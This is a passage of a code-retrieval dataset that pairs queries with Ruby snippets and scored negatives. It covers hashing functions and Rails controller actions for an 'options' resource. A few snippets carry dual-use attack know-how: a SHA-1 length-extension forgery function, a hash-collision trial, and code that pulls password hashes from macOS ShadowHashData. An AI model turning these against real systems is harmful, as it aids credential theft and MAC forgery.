\"#{secret},#{self.uid}/#{self.provider},#{self.user_name}\"\n end\n Base64.encode64(Digest::SHA256.digest(sha256_input)).gsub(/\\n$/,'') # remove last /n - used as hash key in JS\n end", "def hash_byte_size\n return 20\n end", "def test_hash_correct\n\t\n\t\tString test_array1 = '2|abb2|George>Amina(16):Henry>James(4):Henry>Cyrus(17):Henry>Kublai(4):George>Rana(1):SYSTEM>Wu(100)|1518892051.753197000|c72d'.split('|').map(&:chomp)\n\n\t\tx = test_array1[0].unpack('U*') + test_array1[1].unpack('U*') + test_array1[2].unpack('U*') + test_array1[3].unpack('U*')\n\t\tsum = 0\n\t\t# x.each { |i| puts x[i] }\n\t\t# x.delete(\"\")\n\t\tx.each { |i| sum += ((x[i].to_i ** 2000) * ((x[i].to_i + 2) ** 21) - ((x[i].to_i + 5) ** 3)) }\n\t\thash = (sum % 65536)\n\t\tputs hash.to_s(16)\n\t\t\n\t\ttest_array2 = '3|c72d|SYSTEM>Henry(100)|1518892051.764563000|7419'.split('|').map(&:chomp)\n\t\t\n\t\t# assert_equal test_str[2,2], '0|'\t\n\tend", "def jshash( key, len=key.length )\n state = 1315423911\n len.times{ |i|\n state ^= ( ( state << 5 ) + key[i] + ( state >> 2 ) )\n }\n return state\nend", "def get_hash_sha512_pbkdf2(user)\n begin\n shadowhashdata = user['ShadowHashData'][0]\n embedded_bplist = NSPropertyListSerialization.objc_send(\n :propertyListFromData, shadowhashdata,\n :mutabilityOption, NSPropertyListMutableContainersAndLeaves,\n :format, nil,\n :errorDescription, nil\n )\n plist = embedded_bplist.values[0].to_ruby\n resource = {}\n resource['iterations'] = plist['iterations'].to_s\n resource['salt'] = plist['salt'].description.to_ruby.gsub!(/<|>/,\"\").split.join\n resource['entropy'] = plist['entropy'].description.to_ruby.gsub!(/<|>/,\"\").split.join\n resource\n rescue\n return Hash.new\n end\n end", "def sha512(string)\n Digest::SHA512.digest(string).to_64.chomp\nend", "def short_sha1(length=7)\n sha1[0, length]\n end", "def short_sha1(length=7)\n sha1[0, length]\n end", "def crack2(id)\n password = Array.new 8, nil\n hasher = new id\n\n while password.include? nil\n hash = hasher.next_interesting\n pos = hash[5].to_i 16\n\n password[pos] = hash[6] if pos < 0x8 && password[pos].nil?\n end\n\n password.join\n end", "def hash() source.hash ^ (target.hash+1); end", "def hash() source.hash ^ (target.hash+1); end", "def findLargeHash(f)\r\n incr_digest = Digest::SHA1.new()\r\n file = File.open(f, \"rb\")\r\n count = 0\r\n file.each_line do |line|\r\n if count == 1\r\n incr_digest << line\r\n end\r\n count = count + 1\r\n if count >= 2\r\n break\r\n end\r\n end\r\n return incr_digest.hexdigest + File.size(f).to_s(16)\r\nend", "def findSmallHash(f)\r\n return Digest::SHA1.file(f).hexdigest()\r\nend", "def get_hash_sha512(user)\n begin\n shadowhashdata = user['ShadowHashData'][0]\n embedded_bplist = NSPropertyListSerialization.objc_send(\n :propertyListFromData, shadowhashdata,\n :mutabilityOption, NSPropertyListMutableContainersAndLeaves,\n :format, nil,\n :errorDescription, nil\n )\n hash = embedded_bplist['SALTED-SHA512'].to_s.gsub(/<|>/,\"\").split\n hash.join\n rescue\n return String.new\n end\n end", "def hash(*tokens)\n result = tokens.flatten.join(joiner)\n cost.times { result = Digest::SHA512.hexdigest(result) }\n result\n end", "def hash\n if @sha512hash != nil\n return @sha512hash.to_i(16)\n else\n super\n end\n end", "def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end", "def to_sha512(salt = \"\")\n hashsum(:sha512, salt)\n end", "def aphash( key, len=key.length )\n state = 0xAAAAAAAA\n len.times{ |i|\n if (i & 1) == 0\n state ^= (state << 7) ^ key[i] * (state >> 3)\n else\n state ^= ~( (state << 11) + key[i] ^ (state >> 5) )\n end\n }\n return state\nend", "def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end", "def get_hash(input)\n return $hasher.reset.update(input).to_s\nend", "def hexdigest!()\n #This is a stub, used for indexing\n end", "def bphash( key, len=key.length )\n state = 0\n \n len.times{ |i|\n state = state << 7 ^ key[i]\n }\n return state\nend", "def dave(new_str)\r\n new_hash = Digest::SHA256.hexdigest new_str\r\n return new_hash\r\nend", "def calc_M(username, xsalt, xaa, xbb, xkk, n, g)\n hn = sha512_hex(n.to_hex_string).hex\n hg = sha512_hex(g).hex\n hxor = (hn ^ hg).to_hex_string\n hi = sha512_str(username)\n\n hashin = [hxor, hi, xsalt, xaa, xbb, xkk].join\n sha512_hex(hashin).hex % n\n end", "def hard_hash(password)\n opslimit = 2**20\n memlimit = 2**24\n digest_size = 64\n\n salt = RbNaCl::Random.random_bytes(RbNaCl::PasswordHash::SCrypt::SALTBYTES)\n digest = RbNaCl::PasswordHash.scrypt(password, salt,\n opslimit, memlimit, digest_size)\n [Base64.strict_encode64(digest), Base64.strict_encode64(salt)].join(\"\\n\")\nend", "def hash_this(word)\n\t\tdigest = Digest::MD5.hexdigest(word) # get the hex version of the MD5 for the specified string\n\t\tdigest[@offset, @digits].to_i(16) % @max_value # offset it using the initial seed value and get a subset of the md5. then modulo it to get the bit array location\n\tend", "def hash() source.hash ^ target.hash; end", "def short_sha\n self.sha[0..6]\n end", "def algorithm\n \"HS256\"\n end", "def sha256_fingerprint\n Base64.encode64(Digest::SHA256.digest(ssh_public_key_conversion)).gsub(\"\\n\", \"\")\n end", "def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end", "def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end", "def secure_hash(string)\n Digest::SHA2.hexdigest(string)\n end", "def merchanthash\n if version.to_i == 1 \n return HashGenerator::generate(merchant_hash_key, merchant_id, order_id);\n else\n return Digest::SHA512.hexdigest(\"#{merchant_hash_key},#{merchant_id},01,#{order_id},#{gross_amount}\")\n end\n end", "def secure_hash(string)\n\t\t\tDigest::SHA2.hexdigest(string)\n\t\tend", "def block_hash\n\t\tdigest = Digest::SHA2.new\n\n\t\tdigest << '%d' % [ self.index ]\n\t\tdigest << self.timestamp.strftime( '%s%N' )\n\t\tdigest << self.payload\n\t\tdigest << self.payload_hash\n\t\tdigest << self.proof.to_s\n\t\tdigest << self.previous_hash\n\t\t\n\t\treturn digest.hexdigest\n\tend", "def sha256(files)\n sha = Digest::SHA2.new\n files.each do |f|\n next if File.directory?(f)\n\n content = File.binread(f)\n # work around possible git checkout issues by removing CR and LF from the file\n content.gsub!(\"\\n\", \"\")\n content.gsub!(\"\\r\", \"\")\n sha << content\n end\n sha.hexdigest\n end", "def keccak256(data)\n Digest::SHA3.new(256).digest(data)\nend", "def sha\n result_hash['sha']\n end", "def test_simpler_problem\n # the 'key' + the original message:\n d1 = SHA1.exec(\"AB\")\n state = [d1].pack(\"H*\").unpack(\"N5\")\n\n # at no point does the above `state` appear in this:\n # SHA1.exec(\"ABC\")\n\n # but, it does is this:\n m2 = \"AB\" + _md_padding(\"AB\") + \"C\"\n d2 = SHA1.exec(m2)\n\n # the trick here, it seems, is that if you start w/ your own state var\n # (instead of the magic numbers), then you need to take it upon yourself\n # to make sure that the overall padding works out correctly; otherwise,\n # the padding algorithm that normally runs at the start will have no idea\n # how to take into account the padding that is in the given state. so i'm\n # providing it manually\n # note how \"prepadded\" is set to true, and the overall padding is set\n # manually\n d3 = SHA1.exec(\"C\" + _md_padding(m2), state, true)\n\n assert_equal d2, d3\n end", "def digest_sha2(*files)\n files.flatten.collect { |file| \n File.exists?(file) ? Digest::SHA2.hexdigest(File.read(file)) : nil\n }\n end", "def get_hash(s)\r\n\t\tvals = s.unpack('U*').map {|x| ((x ** 2000) * ((x + 2) ** 21) - ((x + 5) ** 3))}\r\n\t\tvals = vals.inject(0, :+) % 65536\r\n\t\treturn vals.to_s(16)\r\n\tend", "def calculate_hash(input, prep_hashes)\n result = 0\n input.unpack('U*').each do |x|\n result += prep_hashes.hash(x)\n end\n (result % MOD_VALUE).to_s(HEX)\nend", "def hash\n Digest::SHA2.hexdigest(self.id.to_s + self.password_hash.to_s + self.email.to_s).slice(0,10)\n end", "def hack(secret_size, msg, mac, final)\n sha1 = Chal28.new\n hash_words = mac.scan(/.{8}/).map{|u| u.to_i(16)}\n fake_secret = \"A\" * secret_size\n padded_orig_msg = sha1.pad_message(fake_secret + msg)\n glue_padding = padded_orig_msg.pack(\"N*\")[(fake_secret.size + msg.size)..-1]\n padded_hack_msg = sha1.pad_message(fake_secret + msg + glue_padding + final)\n\n extra_data = padded_hack_msg[padded_orig_msg.size..-1]\n\n extra_data.each_slice(16) do |chunk|\n hash_words = sha1.sha1_reduce(chunk, hash_words)\n end\n\n hacked_mac = (\"%08x\"*5) % hash_words\n\n [msg + glue_padding + final, hacked_mac]\n end", "def core_hmac_sha1(key, data)\n bkey = str2binb(key)\n if(bkey.length > 16) \n bkey = core_sha1(bkey, key.length * $chrsz)\n end\n\n ipad = Array.new(16, 0)\n opad = Array.new(16, 0)\n #for(var i = 0; i < 16; i++)\n i = 0\n while(i < 16)\n ipad[i] = (bkey[i] || 0) ^ 0x36363636\n opad[i] = (bkey[i] || 0) ^ 0x5C5C5C5C\n i += 1\n end\n\n hash = core_sha1((ipad + str2binb(data)), 512 + data.length * $chrsz)\n return core_sha1((opad + hash), 512 + 160)\n end", "def core_hmac_sha1(key, data)\n bkey = str2binb(key)\n bkey = core_sha1(bkey, key.length * $chrsz) if bkey.length > 16\n\n ipad = Array.new(16, 0)\n opad = Array.new(16, 0)\n # for(var i = 0; i < 16; i++)\n i = 0\n while i < 16\n ipad[i] = (bkey[i] || 0) ^ 0x36363636\n opad[i] = (bkey[i] || 0) ^ 0x5C5C5C5C\n i += 1\n end\n\n hash = core_sha1((ipad + str2binb(data)), 512 + data.length * $chrsz)\n core_sha1((opad + hash), 512 + 160)\n end", "def identify_hash(hash)\n hash = hash.to_s.strip\n case\n # operating systems\n when hash.start_with?('$1$') && hash.length == 34\n return 'md5'\n when hash.start_with?('$2$') && hash.length == 59,\n hash.start_with?('$2a$') && hash.length == 60,\n hash.start_with?('$2b$') && hash.length == 60,\n hash.start_with?('$2x$') && hash.length == 60,\n hash.start_with?('$2y$') && hash.length == 60\n return 'bf' #bcrypt\n when hash.start_with?('$5$') && hash.split('$').last.length == 43\n # we dont check full length since it may have 'rounds=' in the [1] area or not with an arbitrary length number\n return 'sha256,crypt'\n when hash.start_with?('$6$') && hash.split('$').last.length == 86\n # we dont check full length since it may have 'rounds=' in the [1] area or not with an arbitrary length number\n return 'sha512,crypt'\n when hash.start_with?('@S@') && hash.length == 148\n return 'qnx,sha512'\n when hash.start_with?('@s@') && hash.length == 84\n return 'qnx,sha256'\n when hash.start_with?('@m@') && hash.length == 52\n return 'qnx,md5'\n when hash.start_with?('_') && hash.length == 20\n return 'des,bsdi,crypt'\n when hash =~ /^[\\.\\/\\dA-Za-z]{13}$/ # hash.length == 13\n return 'des,crypt'\n when hash =~ /^\\$dynamic_82\\$[\\da-f]{128}\\$HEX\\$[\\da-f]{32}$/ # jtr vmware ldap https://github.com/rapid7/metasploit-framework/pull/13865#issuecomment-660718108\n return 'dynamic_82'\n when hash.start_with?(/{SSHA}/i)\n return 'ssha'\n when hash.start_with?(/{SHA512}/i)\n return 'raw-sha512'\n when hash.start_with?(/{SHA}/i)\n return 'raw-sha1'\n when hash.start_with?(/{MD5}/i)\n return 'raw-md5'\n when hash.start_with?(/{SMD5}/i)\n return 'smd5'\n when hash.start_with?(/{SSHA256}/i)\n return 'ssha256'\n when hash.start_with?(/{SSHA512}/i)\n return 'ssha512'\n # windows\n when hash.length == 65 && hash =~ /^[\\da-fA-F]{32}:[\\da-fA-F]{32}$/ && hash.split(':').first.upcase == 'AAD3B435B51404EEAAD3B435B51404EE'\n return 'nt'\n when hash.length == 65 && hash =~ /^[\\da-fA-F]{32}:[\\da-fA-F]{32}$/\n return 'lm'\n # OSX\n when hash.start_with?('$ml$') && hash.split('$').last.length == 256\n return 'pbkdf2-hmac-sha512,osx' # 10.8+\n when hash =~ /^[\\da-fA-F]{48}$/ # hash.length == 48\n return 'xsha,osx' # 10.4-10.6\n # databases\n when hash.start_with?('0x0100') && hash.length == 54\n return 'mssql05'\n when hash.start_with?('0x0100') && hash.length == 94\n return 'mssql'\n when hash.start_with?('0x0200') && hash.length == 142\n return 'mssql12'\n when hash =~ /^[\\da-f]{16}$/ # hash.length == 16\n return 'mysql' # mysql323 (pre 4.1)\n when hash.start_with?('*') && hash.length == 41\n return 'mysql-sha1' # mysql 4.1+\n when hash.start_with?('md5') && hash.length == 35\n return 'postgres'\n when hash =~ /^[\\da-fA-F]{16}$/\n return 'des,oracle' # pre 11g\n when hash =~ /^S:[\\dA-F]{60}$/\n return 'raw-sha1,oracle11'\n when hash =~ /^S:[\\dA-F]{60};H:[\\dA-F]{32};T:[\\dA-F]{160}$/\n return 'raw-sha1,oracle'\n when hash =~ /^H:[\\dA-F]{32};T:[\\dA-F]{160}$/\n return 'pbkdf2,oracle12c'\n # webapps\n when hash.start_with?('$P$') && hash.length == 34,\n hash.start_with?('$H$') && hash.length == 34\n return 'phpass' # wordpress, drupal, phpbb3 (H not P)\n when hash.start_with?('$ml$') && hash.length == 203\n return 'PBKDF2-HMAC-SHA512'\n when hash.start_with?('{PKCS5S2}') && hash.length == 73\n return 'PBKDF2-HMAC-SHA1'\n when hash.start_with?('$B$') && hash.split('$').last.length == 32\n return 'mediawiki'\n # mobile\n when hash =~/^[A-F0-9]{40}:[a-f0-9]{16}$/\n return 'android-sha1'\n when hash =~/^[A-F0-9]{32}:[a-f0-9]{16}$/\n return 'android-md5'\n # other\n when hash =~ /^<\\d+@.+?>#[\\w]{32}$/\n return 'hmac-md5'\n when hash.length == 114 && hash.start_with?('$M$')\n return 'F5-Secure-Vault'\n when hash =~ /^M\\$[[:print:]]+#[\\da-fA-F]{32}(?:(?::[[:print:]]*$)|$)/\n return 'mscash'\n when hash =~ /^\\$DCC2\\$\\d+#[[:print:]]+#[\\da-fA-F]{32}(?:(?::[[:print:]]*$)|$)/\n return 'mscash2'\n end\n ''\nend", "def pairs()\n g1 = generator(512, 16807) # 65 \n g2 = generator(191, 48271) # 191\n \n total = 0\n 40e6.to_i.times do \n v1 = g1.next.to_s(2).rjust(16,'0')\n v2 = g2.next.to_s(2).rjust(16,'0')\n \n total += 1 if v1[-16,16] == v2[-16,16]\n end\n \n total\nend", "def hash\n @real.hash ^ @image.hash\n end", "def collision_attack(bit_size, set_index = 0)\n # randomize the set of preimages to make each trial different\n digests = Array.new(SHUFFLED_RAND_STRINGS[set_index].size)\n found = false\n used_digests=0\n # for every new digest computed, compare it against the list of known digests to find a match\n SHUFFLED_RAND_STRINGS[set_index].each_with_index do |rstring1, index1|\n digests[index1] = create_digest(rstring1, bit_size)\n used_digests += 1\n # the '-1' prevents the digest from being compared with itself\n (index1-1).times.each do |index2|\n if digests[index1] == digests[index2] then\n found = true\n break\n end\n end\n break if found\n end\n raise \"no collision found\" if !found\n used_digests\nend" ]
[ "0.7260978", "0.71643627", "0.70039165", "0.6864043", "0.6720527", "0.66268545", "0.65768754", "0.6558237", "0.65307873", "0.65307873", "0.65307873", "0.65307873", "0.65307873", "0.65307873", "0.65307873", "0.6494163", "0.6445982", "0.64025366", "0.6374809", "0.63560045", "0.6343263", "0.6339719", "0.63369", "0.62720484", "0.6260084", "0.62486917", "0.6168633", "0.6157802", "0.6155942", "0.615188", "0.6146232", "0.6145567", "0.6143663", "0.6136685", "0.6123424", "0.61223966", "0.61168456", "0.61168456", "0.61151123", "0.61058235", "0.6092304", "0.6085774", "0.6076123", "0.6074595", "0.60718954", "0.6068292", "0.6065234", "0.6054735", "0.6045088", "0.6025351", "0.60252434", "0.60146856", "0.6012848", "0.600444", "0.60030234", "0.5993952", "0.5993952", "0.5985214", "0.59672195", "0.59672195", "0.59664035", "0.5951157", "0.59423023", "0.5932294", "0.59134567", "0.5912724", "0.5905659", "0.59020656", "0.5887114", "0.5885798", "0.58740085", "0.5872185", "0.58705336", "0.58649963", "0.5856828", "0.58467937", "0.58452266", "0.5841506", "0.5840304", "0.58343476", "0.583056", "0.583056", "0.583056", "0.58255637", "0.582344", "0.5806007", "0.580394", "0.57842076", "0.57841635", "0.5778325", "0.57748884", "0.577024", "0.576857", "0.5763078", "0.576248", "0.5751257", "0.57486326", "0.5745236", "0.5737597", "0.5737387", "0.573067" ]
0.0
-1
GET /options/1 GET /options/1.xml
def show @option = Options.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @option } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @options = @question.options.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @options }\n end\n end", "def show\n\t@option = Option.find(params[:id])\n\n\n\trespond_to do |format|\n\t format.html # show.html.erb\n\t format.xml { render :xml => @option }\n\tend\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @option }\n end\n end", "def show\n @option = Option.find(params[:id])\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @option }\n end\n end", "def show\n @opt = Opt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @opt }\n end\n end", "def index\n \n load_options\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @options }\n end\n end", "def options!\n request! :options\n end", "def options\n\t\t# we don't support sending a payload in options' body.\n\t\treq = Net::HTTP::Options.new(@uri.path)\n\t\tdo_http req\n\tend", "def get_options; end", "def index\n @system_options = SystemOption.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @system_options }\n end\n end", "def index\n @item_options = ItemOption.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @item_options }\n end\n end", "def get(options = {})\n end", "def get options\n rest_request({ method: :get }.merge(options))\n end", "def get options\n rest_request({ method: :get }.merge(options))\n end", "def show\n @auto_option = AutoOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @auto_option }\n end\n end", "def show\n @system_option = SystemOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @system_option }\n end\n end", "def options\n self.class.options(url)\n end", "def index\n respond_to do |format|\n format.html { render_template } # index.html.erb\n format.xml { render xml: @system_options }\n end\n end", "def index\n @question_options = QuestionOption.find_all_by_question_id(@question.id)\n\n respond_to do |format|\n format.json { render :json => @question_options.to_json }\n format.xml { render :xml => @question_options.to_xml }\n end\n end", "def show_options\n head :ok\n end", "def show\n @survey_option = SurveyOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @survey_option }\n end\n end", "def show\n @poll_option = PollOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @poll_option }\n end\n end", "def options(url); end", "def index\n @options = Option.all\n end", "def get_settings(options = {}, request_options = {})\n options['getVersion'] = 2 if !options[:getVersion] && !options['getVersion']\n client.get(Protocol.settings_uri(name, options).to_s, :read, request_options)\n end", "def show\n @question_option = QuestionOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @question_option }\n end\n end", "def options(path, opts={}, &bk); route 'OPTIONS', path, opts, &bk end", "def show\n respond_to do |format|\n format.html { render_template } # show.html.erb\n format.xml { render xml: @system_option }\n end\n end", "def index\n @options = Option.all\n end", "def index\n @options = Option.all\n end", "def index\n @options = Option.all\n end", "def index\n @options = Option.all\n end", "def index\n @options = Option.all\n end", "def show\n @item_option = ItemOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @item_option }\n end\n end", "def options() end", "def show\n @option = Vger::Resources::Mrf::Option.find(params[:id], :item_id => params[:item_id])\n respond_to do |format|\n format.html\n end\n end", "def get(uri, options = T.unsafe(nil)); end", "def get(uri, options = T.unsafe(nil)); end", "def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end", "def index\n find_settings\n respond_to do |format|\n format.html # index.html.erb\n format.xml {\n render :xml => @contexts\n }\n end\n end", "def get(options = {}, all = true)\n uri = URI.parse(request_path(options, all))\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n puts \"Request URL (GET) is #{uri.request_uri}\" \n\n response = http.request(Net::HTTP::Get.new(uri.request_uri))\n response.body\n end", "def get(options = {})\n from_web(@uri, options)\n end", "def options(opt); end", "def options(opt); end", "def http_options; end", "def show\n @option = Option.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @option }\n end\n end", "def show\n @option = Option.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @option }\n end\n end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end", "def options; end" ]
[ "0.6737998", "0.6669854", "0.6557185", "0.6532269", "0.6477579", "0.6331469", "0.6313355", "0.6308954", "0.62945104", "0.62643063", "0.6211199", "0.62021637", "0.6199756", "0.6199756", "0.61866087", "0.61787176", "0.6044787", "0.603775", "0.6035963", "0.60276", "0.6021486", "0.6020021", "0.60100305", "0.60020316", "0.5990705", "0.5985953", "0.5967907", "0.59427756", "0.5912295", "0.5912295", "0.5912295", "0.5912295", "0.5912295", "0.59080565", "0.5895107", "0.58648324", "0.5858275", "0.5858275", "0.5853238", "0.5841597", "0.5836246", "0.5832159", "0.5826579", "0.58262426", "0.5817389", "0.5811537", "0.5811537", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736", "0.58008736" ]
0.68262917
0
GET /options/new GET /options/new.xml
def new @option = Option.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @option } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @opt = Opt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @opt }\n end\n end", "def new\n @option = OptionModel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @option }\n end\n end", "def new\n @auto_option = AutoOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @auto_option }\n end\n end", "def new\n @poll_option = PollOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poll_option }\n end\n end", "def new\n @option = Option.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @option }\n end\n end", "def new\n @option = Option.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @option }\n end\n end", "def new\n @option = Vger::Resources::Mrf::Option.new\n respond_to do |format|\n format.html\n end\n end", "def new\n @item_option = ItemOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_option }\n end\n end", "def new\n @question_option = QuestionOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_option }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @survey_option = SurveyOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey_option }\n end\n end", "def new(options) \n Client.get(\"/patterns/new\", :query => options)\n end", "def new\n @price_option_name = PriceOptionName.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @price_option_name }\n end\n end", "def new\n @payment_option = PaymentOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @payment_option }\n end\n end", "def new\n @option = Vger::Resources::Suitability::Option.new\n respond_to do |format|\n format.html\n end\n end", "def new\n @goods_auto_option = GoodsAutoOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @goods_auto_option }\n end\n end", "def new\n @reunion_option = ReunionOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reunion_option }\n end\n end", "def new\n @preset = Preset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @preset }\n end\n end", "def new\n @hybridization_option = HybridizationOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hybridization_option }\n end\n end", "def new\n @poll_options_set = PollOptionsSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @poll_options_set }\n end\n end", "def new\n @merchandise_option_set = MerchandiseOptionSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @merchandise_option_set }\n end\n end", "def create\n @opt = Opt.new(params[:opt])\n\n respond_to do |format|\n if @opt.save\n flash[:notice] = 'Opt was successfully created.'\n format.html { redirect_to(@opt) }\n format.xml { render :xml => @opt, :status => :created, :location => @opt }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @opt.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @poll = Poll.new\n @poll.poll_options = PollOptions.new\n @title = \"Create a new poll\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @poll }\n end\n end", "def new\n @auto_option = AutoOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @auto_option }\n end\n end", "def new\n respond_to do |format|\n format.html\n format.xml\n end\n end", "def new\n @quick_poll_option = QuickPollOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @quick_poll_option }\n end\n end", "def new\n @option_value = OptionValue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @option_value }\n end\n end", "def new\n @protocol = Protocol.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @protocol }\n end\n end", "def new\n @via = Via.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @via }\n end\n end", "def new(options) \n Client.get(\"/colors/new\", :query => options)\n end", "def new \n @how_to = HowTo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @how_to }\n end\n end", "def new\n @uri_type = UriType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @uri_type }\n end\n end", "def new\n @selection = Selection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @selection }\n end\n end", "def new\n @modes = Mode.all\n @mode = Mode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mode }\n end\n end", "def new\n @reqinfo = Reqinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end", "def new\n @howto = Howto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @howto }\n end\n end", "def new\n @questions_option = QuestionsOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questions_option }\n end\n end", "def new\n @tso = Tso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tso }\n end\n end", "def new\n\t@option = Option.new\n\t@question=Question.find(params[:question_id])\n\t@questionnaire_question=QuestionnaireQuestion.find_by_question_id(@question.id)\n\t@questionnaire_id=@questionnaire_question.questionnaire_id\n\trespond_to do |format|\n\t format.html # new.html.erb\n\t format.xml { render :xml => @option }\n\tend\n end", "def new\n @service_version = ServiceVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service_version }\n end\n end", "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end", "def new\n @prop = Prop.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prop }\n end\n end", "def new\n @countries = Countries.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @countries }\n end\n end", "def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end", "def new\n @attr_type = AttrType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attr_type }\n end\n end", "def new\n @selector_site = SelectorSite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @selector_site }\n end\n end", "def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @show }\n end\n end", "def new\n @title = \"New Operations\"\n @operation = Operation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @operation }\n end\n end", "def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route }\n end\n end", "def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route }\n end\n end", "def 